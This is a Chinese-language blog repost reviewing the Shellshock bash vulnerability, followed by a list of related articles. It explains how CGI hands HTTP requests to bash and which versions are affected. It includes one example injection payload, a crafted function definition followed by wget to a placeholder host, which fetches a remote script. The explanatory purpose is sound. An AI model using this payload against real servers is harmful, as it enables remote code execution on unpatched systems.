shellshock漏洞回顾

review

定位漏洞缘由
部分大佬认为uCGI技术的普及是个错误，正是因为CGI技术的不合理之处，Shellshock才有机可乘。

CGI技术是Web技术刚兴起的时候发明的，它是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。CGI (Common Gateway Interface)，是一种基于浏览器的输入，在Web服务器上运行程序的方法。

风险预估

起初以为这个仅仅是个本地执行的漏洞。后面发现亦可作为远程×××。

远程×××面：正是由于后台处理程序不仅仅可以用PHP、Python、Perl等脚本来接受请求、解释执行、响应客户端，当然还可以用Bash脚本来解释执行用户提交的GET或POST请求。

Bash漏洞其实是非常经典的“注入式×××”，也就是可以向 bash注入一段命令，从bash1.14 到4.3都存在这样的漏洞。

() { :;}; wget http://www.XXX.com/testvul.sh

对于利用Bash脚本处理用户请求的网站，×××者可以精心伪造数据，通过网络传到一台服务器上，直接或间接触发一个bash脚本，这样就可以远程执行恶意代码。

通过特定格式的指令设置环境变量，进而在执行bash脚本时会先执行把我们设置的环境变量执行。

shellshock分析与回顾：
http://www.myhack58.com/Article/html/3/8/2014/54877_13.htm

shellshock真实案列：

http://www.freebuf.com/articles/system/45390.html

×××前提：必须得在有漏洞的机器上执行我们的bash代码。

课程参考：
https://www.shiyanlou.com/courses/230

转载于:https://blog.51cto.com/10509896/2174506

shellshock漏洞回顾相关推荐

Shellshock漏洞回顾与分析测试 http://drops.wooyun.org/papers/3268
Shellshock漏洞回顾与分析测试 Debug_Orz · 2014/10/21 14:14 ·来自乌云知识库 0x00 漏洞概述很多人或许对2014上半年发生的安全问题"心脏流血&q ...
Shellshock漏洞回顾与分析测试
Debug_Orz · 2014/10/21 14:14 0x00 漏洞概述很多人或许对2014上半年发生的安全问题"心脏流血"(Heartbleed Bug)事件记忆颇深,20 ...
【安全】Shellshock漏洞
Shellshock是之前网络安全学习中,一直遗漏掉的一个安全漏洞.今天来补充学习一下. Shellshock利用了linux环境变量解析问题,进而可以进行针对正常应用启动shell时进行劫持.通过该 ...
Shellshock漏洞复现
Shellshock漏洞复现 bash说明漏洞原理漏洞复现环境说明漏洞条件漏洞复现 bash说明 Bash是Unix shell的一种.1989年发布第一个正式版本,原先是计划用在GNU操作 ...
详解ShellShock 漏洞复现原理，内附ShellShock的修复方法
本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过.本篇是我们悬镜安全实验室成员之一Kr0iNg's 在学习ShellShock时分享的一点心得,仅供 ...
LINUX漏洞复现篇之ShellShock漏洞
简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bas ...
Shellshock漏洞那些事：网络安全噩梦的开始
鉴于Linux/UNIX系统近日再次曝出危险等级超"心脏出血"的Bash漏洞--"Shellshock",<连线>杂志周一特别刊文,介绍了该漏洞的过 ...
linux shellshock漏洞,shellshock漏洞分析
这是tr0ll2靶机涉及到的东西,先看一下在这个靶机上的过程. 我们获取了noob用户的ssh密钥,之后登录却失败了: 之后我们输入如下命令:ssh noob@192.168.16.141 -i no ...
“破壳”(Shellshock)漏洞修复
"破壳"(Shellshock)漏洞修复背景: 距离"破壳"(Shellshock)漏洞漏洞爆发一句过去两周有余了(2014年9月24日公布).相信很多人都已 ...
linux shellshock漏洞,shellshock漏洞原理分析(cve-2014-6271 bash漏洞)
shellshock漏洞原理分析(cve-2014-6271 bash漏洞) 2014-09-26 10:04:16 阅读:0次概述: 低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造 ...

shellshock漏洞回顾

review

shellshock漏洞回顾相关推荐

最新文章

热门文章